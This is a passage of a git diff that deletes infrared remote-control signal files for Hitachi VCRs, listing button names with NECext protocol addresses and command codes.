parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: TV_6_(CL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: TV_6_(M_N_O) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: TV_7_(P_R_S) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TV_8_(T_U_V_AM) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TV_9_(W_X_Y_PM) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: TV_0_(?_!) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: TV_OPERATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: TV_PROGRAMME_^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: TV_PROGRAMME_V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir deleted file mode 100644 index fae685cd7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir +++ /dev/null @@ -1,470 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 01 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 02 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 03 00 00 00 -# -name: FFWD>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: VCR_FFWD_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 05 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 06 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 06 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 06 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 07 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 07 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 09 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0D 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0D 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0E 00 00 00 -# -name: ADD/DELETE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: RESET_COUNTER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: EXIT/RESET -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: ADD/DELETE_(RESET) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: TV_LAST_CH -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 13 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 14 00 00 00 -# -name: COUNTER/MEMORY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 15 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir deleted file mode 100644 index 02d00c865..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_PLUS -type: parsed -protocol: NECext -address: 2C 00 00 00 -command: 11 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 2C 00 00 00 -command: 3B 00 00 00 -# -name: 100/ENT -type: parsed -protocol: NECext -address: 2C 00 00 00 -command: 3D 00 00 00 -# -name: VCR_100/ENT -type: parsed -protocol: NECext -address: 2C 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir deleted file mode 100644 index 53cfaca03..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 01 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 02 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 09 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0A 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: VCR_MUTE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0E 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 10 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 11 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 12 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 13 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 14 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 15 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 16 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 17 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 18 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 19 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1B 00 00 00 -# -name: TV_100/ENT_(DISPLAY) -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir deleted file mode 100644 index bc5c84a8e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_8_(AM) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_8_AM -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_9_(PM) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_9_PM -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_100_(ENTER) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: TV_100/ENT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: TV_+100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: TV_100/ENT_(DISPLAY) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: TV_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 08 00 00 00 -# -name: AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_PREV_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VCR_VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: TV_AUDIO_LEVEL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VCR_VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: TV_AUDIO_LEVEL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_5_(DAILY) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_5_DAILY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6_PL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6_(WEEKLY) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6_(PL) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6_WEEKLY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: MENU/CATV_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 33 00 00 00 -# -name: MENU/CATV_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: MENU/CATV_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: MENU/CATV_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: MENU/CATV_> -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: MENU/CATV_< -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir deleted file mode 100644 index b039fc40d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 04 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 05 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0E 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: TV_OPERATE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 17 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1B 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1C 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1D 00 00 00 -# -name: TV_6_(CL) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1E 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir deleted file mode 100644 index d2e1b7b3a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir +++ /dev/null @@ -1,2348 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACKING_-_UP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: S._TRACKING_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: TRACKING_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: VCR1_TRACKING_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: VCR1_AUTO_TRK_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: VCR1_MANUAL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: VTR1_TRACKING_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: TRACKING_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: TRACKING_-_DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: S._TRACKING_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: TRACKING_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: VCR1_TRACKING_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: VCR1_AUTO_TRK_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: VCR1_MANUAL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: VTR1_TRACKING_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: TRACKING_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: SPEED_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VCR1_SLOW_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VARIABLE_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VCR1_SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VCR1_SLOW_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VTR1_SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: VCR1_SLOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: SPEED_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: VCR1_SLOW_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: VARIABLE_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: VCR1_SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: VCR1_SLOW_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: VTR1_SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VTR_8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 8_(AM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR1_8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 8_VWX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR1_8_(AM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VTR1_8_(T_U_V_AM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR_8_(AM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR1_8_AM -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VTR_9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: 9_(PM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR1_9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: 9_YZ. -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR1_9_(PM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VTR1_9_(W_X_Y_PM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR_9_(PM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR1_9_PM -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: 100_ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: 100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: VCR1_100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: VCR_100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VTR_FFWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: FFWD/SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR1_FFWD>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR1_FFWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: FF/VISUAL_SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: FFWD/VI.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR_FFWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR_F.FWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR1_FF/V.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: F.FWD/VI.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR1_F.FWD/V.SRCH -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR1_F.FWD/SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 